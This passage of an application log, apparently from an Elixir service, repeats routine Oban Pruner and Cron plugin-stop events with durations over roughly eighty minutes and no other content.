{"source":"oban","duration":2061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:34.286 [info] {"source":"oban","duration":2257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:00.531 [info] {"source":"oban","duration":195,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:14:04.289 [info] {"source":"oban","duration":1708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:34.292 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:00.533 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:15:04.294 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:34.297 [info] {"source":"oban","duration":1708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:00.534 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:16:04.300 [info] {"source":"oban","duration":1546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:34.302 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:00.534 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:17:04.305 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:34.307 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:00.536 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:18:04.310 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:34.313 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:00.537 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:19:04.315 [info] {"source":"oban","duration":1668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:34.318 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:00.539 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:20:04.321 [info] {"source":"oban","duration":1965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:34.324 [info] {"source":"oban","duration":1734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:00.541 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:21:04.327 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:34.329 [info] {"source":"oban","duration":1642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:00.543 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:22:04.331 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:34.334 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:00.544 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:23:04.337 [info] {"source":"oban","duration":1901,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:34.340 [info] {"source":"oban","duration":2063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:00.545 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:24:04.342 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:34.345 [info] {"source":"oban","duration":1730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:00.547 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:25:04.348 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:34.351 [info] {"source":"oban","duration":1636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:00.549 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:26:04.354 [info] {"source":"oban","duration":1828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:34.357 [info] {"source":"oban","duration":1583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:00.551 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:27:04.360 [info] {"source":"oban","duration":1937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:34.363 [info] {"source":"oban","duration":1873,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:00.553 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:28:04.366 [info] {"source":"oban","duration":2052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:34.369 [info] {"source":"oban","duration":1775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:00.555 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:29:04.372 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:34.375 [info] {"source":"oban","duration":1808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:00.557 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:30:04.378 [info] {"source":"oban","duration":1576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:34.381 [info] {"source":"oban","duration":2042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:00.559 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:31:04.384 [info] {"source":"oban","duration":1612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:34.387 [info] {"source":"oban","duration":1593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:00.561 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:32:04.390 [info] {"source":"oban","duration":2081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:34.393 [info] {"source":"oban","duration":1956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:00.562 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:33:04.396 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:34.399 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:00.562 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:34:04.402 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:34.405 [info] {"source":"oban","duration":1638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:00.564 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:35:04.408 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:34.411 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:00.565 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:36:04.414 [info] {"source":"oban","duration":1707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:34.417 [info] {"source":"oban","duration":1987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:00.566 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:37:04.420 [info] {"source":"oban","duration":1960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:34.423 [info] {"source":"oban","duration":1612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:00.568 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:38:04.426 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:34.428 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:00.568 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:39:04.431 [info] {"source":"oban","duration":1969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:34.434 [info] {"source":"oban","duration":1771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:00.570 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:40:04.437 [info] {"source":"oban","duration":1616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:34.440 [info] {"source":"oban","duration":1991,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:00.572 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:41:04.443 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:34.446 [info] {"source":"oban","duration":1588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:00.573 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:42:04.449 [info] {"source":"oban","duration":1893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:34.452 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:00.574 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:43:04.454 [info] {"source":"oban","duration":1628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:34.457 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:00.576 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:44:04.460 [info] {"source":"oban","duration":1874,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:34.463 [info] {"source":"oban","duration":1836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:00.578 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:45:04.466 [info] {"source":"oban","duration":1758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:34.469 [info] {"source":"oban","duration":2113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:00.580 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:46:04.472 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:34.475 [info] {"source":"oban","duration":2057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:00.581 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:47:04.478 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:34.481 [info] {"source":"oban","duration":1691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:00.582 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:48:04.484 [info] {"source":"oban","duration":2054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:34.487 [info] {"source":"oban","duration":1773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:00.584 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:49:04.490 [info] {"source":"oban","duration":2079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:34.493 [info] {"source":"oban","duration":1576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:00.586 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:50:04.496 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:34.499 [info] {"source":"oban","duration":1678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:00.587 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:51:04.502 [info] {"source":"oban","duration":1741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:34.505 [info] {"source":"oban","duration":1844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:00.588 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:52:04.508 [info] {"source":"oban","duration":1575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:34.511 [info] {"source":"oban","duration":1607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:00.590 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:53:04.514 [info] {"source":"oban","duration":1631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:34.517 [info] {"source":"oban","duration":1621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:00.591 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:54:04.520 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:34.523 [info] {"source":"oban","duration":1605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:00.592 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:55:04.525 [info] {"source":"oban","duration":2067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:34.528 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:00.594 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:56:04.531 [info] {"source":"oban","duration":1581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:34.534 [info] {"source":"oban","duration":1705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:00.595 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:57:04.537 [info] {"source":"oban","duration":1893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:34.540 [info] {"source":"oban","duration":1936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:00.597 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:58:04.543 [info] {"source":"oban","duration":1910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:34.546 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:00.598 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:59:04.548 [info] {"source":"oban","duration":1920,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:34.551 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:00.599 [info] {"source":"oban","duration":198,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:00:04.555 [info] {"source":"oban","duration":3269,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:34.558 [info] {"source":"oban","duration":2028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:00.601 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:01:04.561 [info] {"source":"oban","duration":1874,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:34.564 [info] {"source":"oban","duration":2118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:00.601 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:02:04.567 [info] {"source":"oban","duration":1587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:34.569 [info] {"source":"oban","duration":1578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:00.603 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:03:04.572 [info] {"source":"oban","duration":1587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:34.575 [info] {"source":"oban","duration":2016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:00.605 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:04:04.578 [info] {"source":"oban","duration":1704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:34.581 [info] {"source":"oban","duration":1826,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:00.607 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:05:04.584 [info] {"source":"oban","duration":1621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:34.586 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:00.608 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:06:04.588 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:34.590 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:00.609 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:07:04.593 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:34.596 [info] {"source":"oban","duration":1611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:00.611 [info] {"source":"oban","duration":465,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:08:04.599 [info] {"source":"oban","duration":1643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:34.602 [info] {"source":"oban","duration":2078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:00.613 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:09:04.605 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:34.608 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:00.614 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:10:04.611 [info] {"source":"oban","duration":1620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:34.614 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:00.616 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:11:04.617 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:34.620 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:00.618 [info] {"source":"oban","duration":551,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:12:04.622 [info] {"source":"oban","duration":1864,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:34.625 [info] {"source":"oban","duration":1581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:00.620 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:13:04.628 [info] {"source":"oban","duration":2136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:34.631 [info] {"source":"oban","duration":1782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:00.622 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:14:04.634 [info] {"source":"oban","duration":1927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:34.637 [info] {"source":"oban","duration":1725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:00.624 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:15:04.640 [info] {"source":"oban","duration":1853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:34.643 [info] {"source":"oban","duration":1875,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:00.626 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:16:04.646 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:34.648 [info] {"source":"oban","duration":1595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:00.627 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:17:04.651 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:34.655 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:00.629 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:18:04.656 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:34.658 [info] {"source":"oban","duration":1598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:00.631 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:19:04.660 [info] {"source":"oban","duration":1846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:34.663 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:00.632 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:20:04.666 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:34.668 [info] {"source":"oban","duration":2151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:00.634 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:21:04.671 [info] {"source":"oban","duration":1736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:34.674 [info] {"source":"oban","duration":1596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:00.636 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:22:04.677 [info] {"source":"oban","duration":1625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:34.680 [info] {"source":"oban","duration":2062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:00.638 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:23:04.683 [info] {"source":"oban","duration":1608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:34.686 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:00.640 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:24:04.687 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:34.687 [info] {"source":"oban","duration":498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:00.642 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:25:04.688 [info] {"source":"oban","duration":495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:34.689 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:00.644 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:26:04.690 [info] {"source":"oban","duration":527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:34.692 [info] {"source":"oban","duration":482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:00.646 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:27:04.692 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:34.693 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:00.648 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:28:04.695 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:34.696 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:00.649 [info] {"source":"oban","duration":137,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:29:04.697 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:34.698 [info] {"source":"oban","duration":479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:00.651 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:30:04.699 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:34.700 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:00.652 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:31:04.701 [info] {"source":"oban","duration":487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:34.702 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:00.653 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:32:04.703 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:34.704 [info] 